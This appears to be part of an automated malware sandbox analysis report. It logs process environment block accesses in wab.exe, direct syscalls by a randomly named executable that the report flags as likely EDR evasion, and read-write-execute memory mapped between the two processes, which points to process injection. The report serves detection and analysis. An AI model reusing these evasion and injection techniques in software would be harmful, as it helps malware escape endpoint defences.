Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C2050 mov eax, dword ptr fs:[00000030h] 12_2_246C2050
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EB052 mov eax, dword ptr fs:[00000030h] 12_2_246EB052
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478903E mov eax, dword ptr fs:[00000030h] 12_2_2478903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478903E mov eax, dword ptr fs:[00000030h] 12_2_2478903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478903E mov eax, dword ptr fs:[00000030h] 12_2_2478903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478903E mov eax, dword ptr fs:[00000030h] 12_2_2478903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BA020 mov eax, dword ptr fs:[00000030h] 12_2_246BA020
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BC020 mov eax, dword ptr fs:[00000030h] 12_2_246BC020
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DE016 mov eax, dword ptr fs:[00000030h] 12_2_246DE016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DE016 mov eax, dword ptr fs:[00000030h] 12_2_246DE016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DE016 mov eax, dword ptr fs:[00000030h] 12_2_246DE016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DE016 mov eax, dword ptr fs:[00000030h] 12_2_246DE016
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247020F0 mov ecx, dword ptr fs:[00000030h] 12_2_247020F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C80E9 mov eax, dword ptr fs:[00000030h] 12_2_246C80E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BA0E3 mov ecx, dword ptr fs:[00000030h] 12_2_246BA0E3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E50E4 mov eax, dword ptr fs:[00000030h] 12_2_246E50E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E50E4 mov ecx, dword ptr fs:[00000030h] 12_2_246E50E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BC0F0 mov eax, dword ptr fs:[00000030h] 12_2_246BC0F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247950D9 mov eax, dword ptr fs:[00000030h] 12_2_247950D9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247420DE mov eax, dword ptr fs:[00000030h] 12_2_247420DE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov ecx, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov ecx, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov ecx, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov ecx, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D70C0 mov eax, dword ptr fs:[00000030h] 12_2_246D70C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E90DB mov eax, dword ptr fs:[00000030h] 12_2_246E90DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247860B8 mov eax, dword ptr fs:[00000030h] 12_2_247860B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247860B8 mov ecx, dword ptr fs:[00000030h] 12_2_247860B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C208A mov eax, dword ptr fs:[00000030h] 12_2_246C208A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BD08D mov eax, dword ptr fs:[00000030h] 12_2_246BD08D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F909C mov eax, dword ptr fs:[00000030h] 12_2_246F909C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C5096 mov eax, dword ptr fs:[00000030h] 12_2_246C5096
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246ED090 mov eax, dword ptr fs:[00000030h] 12_2_246ED090
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246ED090 mov eax, dword ptr fs:[00000030h] 12_2_246ED090
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24759179 mov eax, dword ptr fs:[00000030h] 12_2_24759179
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF172 mov eax, dword ptr fs:[00000030h] 12_2_246BF172
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9148 mov eax, dword ptr fs:[00000030h] 12_2_246B9148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9148 mov eax, dword ptr fs:[00000030h] 12_2_246B9148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9148 mov eax, dword ptr fs:[00000030h] 12_2_246B9148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9148 mov eax, dword ptr fs:[00000030h] 12_2_246B9148
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24795152 mov eax, dword ptr fs:[00000030h] 12_2_24795152
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24754144 mov eax, dword ptr fs:[00000030h] 12_2_24754144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24754144 mov eax, dword ptr fs:[00000030h] 12_2_24754144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24754144 mov ecx, dword ptr fs:[00000030h] 12_2_24754144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24754144 mov eax, dword ptr fs:[00000030h] 12_2_24754144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24754144 mov eax, dword ptr fs:[00000030h] 12_2_24754144
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C6154 mov eax, dword ptr fs:[00000030h] 12_2_246C6154
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C6154 mov eax, dword ptr fs:[00000030h] 12_2_246C6154
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BC156 mov eax, dword ptr fs:[00000030h] 12_2_246BC156
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C7152 mov eax, dword ptr fs:[00000030h] 12_2_246C7152
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F0124 mov eax, dword ptr fs:[00000030h] 12_2_246F0124
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1131 mov eax, dword ptr fs:[00000030h] 12_2_246C1131
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C1131 mov eax, dword ptr fs:[00000030h] 12_2_246C1131
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB136 mov eax, dword ptr fs:[00000030h] 12_2_246BB136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB136 mov eax, dword ptr fs:[00000030h] 12_2_246BB136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB136 mov eax, dword ptr fs:[00000030h] 12_2_246BB136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB136 mov eax, dword ptr fs:[00000030h] 12_2_246BB136
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24780115 mov eax, dword ptr fs:[00000030h] 12_2_24780115
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476A118 mov ecx, dword ptr fs:[00000030h] 12_2_2476A118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476A118 mov eax, dword ptr fs:[00000030h] 12_2_2476A118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476A118 mov eax, dword ptr fs:[00000030h] 12_2_2476A118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476A118 mov eax, dword ptr fs:[00000030h] 12_2_2476A118
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E51EF mov eax, dword ptr fs:[00000030h] 12_2_246E51EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C51ED mov eax, dword ptr fs:[00000030h] 12_2_246C51ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F01F8 mov eax, dword ptr fs:[00000030h] 12_2_246F01F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247961E5 mov eax, dword ptr fs:[00000030h] 12_2_247961E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247951CB mov eax, dword ptr fs:[00000030h] 12_2_247951CB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247861C3 mov eax, dword ptr fs:[00000030h] 12_2_247861C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247861C3 mov eax, dword ptr fs:[00000030h] 12_2_247861C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FD1D0 mov eax, dword ptr fs:[00000030h] 12_2_246FD1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FD1D0 mov ecx, dword ptr fs:[00000030h] 12_2_246FD1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247711A4 mov eax, dword ptr fs:[00000030h] 12_2_247711A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247711A4 mov eax, dword ptr fs:[00000030h] 12_2_247711A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247711A4 mov eax, dword ptr fs:[00000030h] 12_2_247711A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247711A4 mov eax, dword ptr fs:[00000030h] 12_2_247711A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DB1B0 mov eax, dword ptr fs:[00000030h] 12_2_246DB1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474019F mov eax, dword ptr fs:[00000030h] 12_2_2474019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474019F mov eax, dword ptr fs:[00000030h] 12_2_2474019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474019F mov eax, dword ptr fs:[00000030h] 12_2_2474019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474019F mov eax, dword ptr fs:[00000030h] 12_2_2474019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24700185 mov eax, dword ptr fs:[00000030h] 12_2_24700185
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BA197 mov eax, dword ptr fs:[00000030h] 12_2_246BA197
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BA197 mov eax, dword ptr fs:[00000030h] 12_2_246BA197
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BA197 mov eax, dword ptr fs:[00000030h] 12_2_246BA197
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477C188 mov eax, dword ptr fs:[00000030h] 12_2_2477C188
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477C188 mov eax, dword ptr fs:[00000030h] 12_2_2477C188
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B826B mov eax, dword ptr fs:[00000030h] 12_2_246B826B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24701270 mov eax, dword ptr fs:[00000030h] 12_2_24701270
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24701270 mov eax, dword ptr fs:[00000030h] 12_2_24701270
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24770274 mov eax, dword ptr fs:[00000030h] 12_2_24770274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C4260 mov eax, dword ptr fs:[00000030h] 12_2_246C4260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C4260 mov eax, dword ptr fs:[00000030h] 12_2_246C4260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C4260 mov eax, dword ptr fs:[00000030h] 12_2_246C4260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478D26B mov eax, dword ptr fs:[00000030h] 12_2_2478D26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478D26B mov eax, dword ptr fs:[00000030h] 12_2_2478D26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E9274 mov eax, dword ptr fs:[00000030h] 12_2_246E9274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477B256 mov eax, dword ptr fs:[00000030h] 12_2_2477B256
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477B256 mov eax, dword ptr fs:[00000030h] 12_2_2477B256
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F724D mov eax, dword ptr fs:[00000030h] 12_2_246F724D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9240 mov eax, dword ptr fs:[00000030h] 12_2_246B9240
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9240 mov eax, dword ptr fs:[00000030h] 12_2_246B9240
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C6259 mov eax, dword ptr fs:[00000030h] 12_2_246C6259
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BA250 mov eax, dword ptr fs:[00000030h] 12_2_246BA250
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B823B mov eax, dword ptr fs:[00000030h] 12_2_246B823B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24795227 mov eax, dword ptr fs:[00000030h] 12_2_24795227
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F7208 mov eax, dword ptr fs:[00000030h] 12_2_246F7208
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F7208 mov eax, dword ptr fs:[00000030h] 12_2_246F7208

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtProtectVirtualMemory: Direct from: 0x77542F9C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtSetInformationProcess: Direct from: 0x77542C5C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtOpenKeyEx: Direct from: 0x77542B9C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtCreateFile: Direct from: 0x77542FEC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtOpenFile: Direct from: 0x77542DCC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtQueryInformationToken: Direct from: 0x77542CAC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtDeviceIoControlFile: Direct from: 0x77542AEC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtAllocateVirtualMemory: Direct from: 0x77542BEC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtQueryVolumeInformationFile: Direct from: 0x77542F2C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtOpenSection: Direct from: 0x77542E0C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtAllocateVirtualMemory: Direct from: 0x775448EC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtSetInformationThread: Direct from: 0x775363F9 Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtQuerySystemInformation: Direct from: 0x775448CC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtReadVirtualMemory: Direct from: 0x77542E8C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtCreateKey: Direct from: 0x77542C6C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtSetInformationThread: Direct from: 0x77542B4C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtQueryAttributesFile: Direct from: 0x77542E6C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtAllocateVirtualMemory: Direct from: 0x77543C9C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtCreateUserProcess: Direct from: 0x7754371C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtQueryInformationProcess: Direct from: 0x77542C26 Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtResumeThread: Direct from: 0x77542FBC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtWriteVirtualMemory: Direct from: 0x7754490C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtDelayExecution: Direct from: 0x77542DDC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtAllocateVirtualMemory: Direct from: 0x77542BFC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtReadFile: Direct from: 0x77542ADC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtQuerySystemInformation: Direct from: 0x77542DFC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtResumeThread: Direct from: 0x775436AC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtNotifyChangeKey: Direct from: 0x77543C2C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtCreateMutant: Direct from: 0x775435CC Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtWriteVirtualMemory: Direct from: 0x77542E3C Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe NtMapViewOfSection: Direct from: 0x77542D1C Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: NULL target: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: NULL target: C:\Program Files (x86)\Windows Mail\wab.exe protection: execute and read and write Jump to behavior
